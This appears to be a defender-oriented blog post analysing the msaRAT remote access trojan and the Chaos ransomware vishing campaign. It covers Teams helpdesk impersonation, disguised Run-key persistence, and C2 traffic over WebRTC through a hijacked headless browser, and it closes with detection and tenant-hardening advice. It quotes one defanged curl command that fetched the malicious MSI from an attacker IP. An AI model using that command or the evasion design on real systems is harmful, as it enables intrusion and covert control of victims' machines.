Cisco Talos published analysis on July 23 of a Rust-based RAT they've named msaRAT, attributed to the Chaos ransomware group. The interesting property is what its own process does on the network, which is nothing.
It never opens an outbound connection. It locates Chrome or Edge, launches the browser headless with the remote debugging port enabled, and drives it over Chrome DevTools Protocol. All C2 traffic leaves from the browser process. From the perspective of a firewall or an EDR watching process-level egress, the RAT is a binary that only ever talks to 127.0.0.1.
One caveat before the walkthrough. Talos places msaRAT after an attacker already has access to a machine. Sophos separately documented a Teams vishing campaign, tracked as STAC4749, that ended in Chaos ransomware in at least three cases. Neither researcher has tied msaRAT to those specific intrusions. What follows is a set of related Chaos observations, not a reconstruction of one confirmed incident.
The social engineering stage
Sophos tracks its campaign as STAC4749. External Microsoft Teams accounts, IT-themed domains under .top, personas with names like AnthonyBrooks and DylanHarper. The operator calls, presents as helpdesk, and walks the target into opening a remote support session. Call length clustered between two and two and a half minutes.
There may be no malicious attachment or exploit at this stage. Unless the call was recorded, defenders probably will not have the conversation itself. That is not the same as having nothing: Teams generates call records and administrative metadata, reachable through the Graph call records API and Call Analytics, and any accompanying chat leaves its own service-side and user-visible artifacts. Sophos ships a detection for this specific pattern, SAAS-M365-Teams-SupportCall-Established-Suspicious-TLD.
Tooling moved during the campaign. Quick Assist was the first choice, with a cloud RMM product named RemSupp as the fallback where Quick Assist wasn't available. By April Sophos had it the other way round, RemSupp first, and assessed the likely reason was blocklist coverage.
Persistence that looks like an audio driver
With the session established, payload retrieval runs through PowerShell into user-writable directories, most often AppData\Roaming. Persistence goes into HKCU Run keys, and Sophos documented the naming over time:
Run key value Observed
Realtek HD Audio Universal Service Feb - Mar
Realtek HD Audio Mar - Apr
Realtek Audio Apr - May
WinAudio life2 May
Realtek Audio UHD May
Sophos also observed .vbs scripts creating Startup folder shortcuts named SecurityHealth and OneDriveUpdate, with hidden file attributes applied in some cases.
The names are chosen to survive a skim. They do not survive scrutiny: a Realtek-labeled Run key pointing into AppData is not what a real audio driver entry looks like.
The loader had a detail I hadn't seen before: it checked for the presence of C:\ProgramData\AppSreen\logs\appscreen.log and exited if the file wasn't there. Sophos read that as a product-specific dependency check. Either way, the effect is that the sample does nothing useful in an environment that doesn't match, which can complicate automated analysis.
Certificate pinning as infrastructure segmentation
The Golang implants embedded CA certificates directly, with issuer names including loop-CA, connectify-CA, and james-bond-CA. An implant would only complete a connection if the C2 server presented the same issuer.
Sophos noted the operational consequence: payloads sharing an issuer consistently reached the same C2 servers, and payloads with different issuers reached separate infrastructure. That reads less like anti-analysis and more like the operators segmenting their own backend by role, which may limit how much infrastructure is exposed when one cluster is identified.
The browser hijack
Returning to the Talos side. Delivery is a curl fetch of an MSI, with one detail worth pausing on:
curl.exe hxxp://172[.]86[.]126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi
(Observed indicator, defanged.)
Port 443, plain HTTP. Rules that match on port number without protocol inspection pass it.
The MSI carries lib.dll in its Binary table and loads it into memory via a custom action on InstallFinalize. The DLL is msaRAT, written in Rust on the Tokio async runtime.
It finds Chrome or Edge through environment variables, falling back to the registry, then launches headless with remote debugging enabled. From there it's straight CDP:
Page.setBypassCSP to bypass Content Security Policy
Runtime.addBinding five times, registering msaOpen, msaClose, msaError, msaMessage, dataAck
Runtime.evaluate to inject JavaScript held in plaintext in .rdata
The injected JS pulls STUN/TURN configuration from a Cloudflare Workers endpoint, builds an RTCPeerConnection, and opens a WebRTC DataChannel. Signaling runs through Workers. The relay is Twilio TURN.
The part I keep coming back to: the attacker's SDP Answer deliberately contains no ICE candidates, with the connection address set to 0.0.0.0. Peer-to-peer can never establish, so every byte routes through Twilio. The attacker's real server address never appears in the traffic.
Traffic is DTLS by WebRTC spec, plus a ChaCha-Poly1305 layer msaRAT applies itself with a key from an ECDH exchange at connect time. The GET to Workers spoofs Origin and Referer to look like it came from Microsoft's site.
Why that combination is awkward to detect
Stack the properties:
The social engineering content is likely absent from security telemetry even where call metadata exists
Persistence borrows the name of a Realtek audio component
Signaling lands on *.workers.dev, inside Cloudflare ranges that many firewall and proxy allowlists permit and that would be disruptive to block wholesale
The relay is Twilio, a legitimate service
The RAT process shows only loopback traffic
Outbound traffic originates from a browser doing WebRTC, capable of blending into commonplace browser and WebRTC activity
What the legitimate names and services buy is degraded signal quality, not invisibility. The sequence is still abnormal. A Realtek-labeled Run key pointing into AppData, an MSI pulled by curl over plain HTTP on port 443, and a headless browser launched with remote-debugging flags are each meaningful on their own, and considerably more so correlated.
The tenant side
The Teams federation defaults are worth knowing regardless of what you think of the rest of this.
Microsoft documents Allow all external domains as the default setting for federation with other managed Microsoft 365 organizations. STAC4749 didn't use consumer Teams accounts, it used real tenants on .top domains, which are managed organizations governed by that setting.
Two behaviors in the same documentation that are easy to miss:
Blocking a domain does not block its subdomains. contoso.com on the block list leaves marketing.contoso.com reachable.
powershell
Set-CsTenantFederationConfiguration -BlockAllSubdomains $True
And federation with trial-only tenants is blocked by default:
powershell
Set-CsTenantFederationConfiguration -ExternalAccessWithTrialTenants "Blocked"
Because trial-only federation is blocked by default, a tenant federating successfully suggests either a purchased license on the attacker side or a target that explicitly permitted that trial tenant or domain. Public reporting does not establish which.
If you administer a government cloud tenant, Microsoft's cross-cloud matrix is worth a look. GCC and commercial get the full native chat experience with each other. GCC High and DoD get text-only with commercial. The restriction on external unmanaged Teams accounts in government clouds is a separate control and doesn't affect managed-tenant federation.
Where this ends up
At least three STAC4749 compromises led to Chaos ransomware deployment. On attribution, Talos assesses with moderate confidence that Chaos is either a rebranding of BlackSuit (Royal) or is operated by some of its former members. One Sophos case ran under seventeen hours from initial access to encryption.
The Windows encryptor in Talos's analysis runs local or network mode, walks private subnets, reaches discovered hosts over SMB, queues shares it can see, and clears volume shadow copies. Chaos advertises encryptors for ESXi, Linux, and NAS as well, though Talos's published analysis covers the Windows samples.
Both vendors published coverage. Talos shipped Snort and ClamAV signatures for msaRAT, and Sophos published a countermeasures table for the STAC4749 payloads. I am not going to reproduce either here, and I would not anchor anything on a single filename, domain, or registry value name, because this campaign rotated its filenames, persistence keys, and staging method repeatedly across four months.
The more durable opportunity looks like correlation: an unexpected remote-support session, Run-key targets pointing somewhere user-writable, MSI staging in ProgramData, and browser processes launched with headless or remote-debugging flags. Individually those generate noise. In sequence they describe this fairly specifically.
Top comments (0)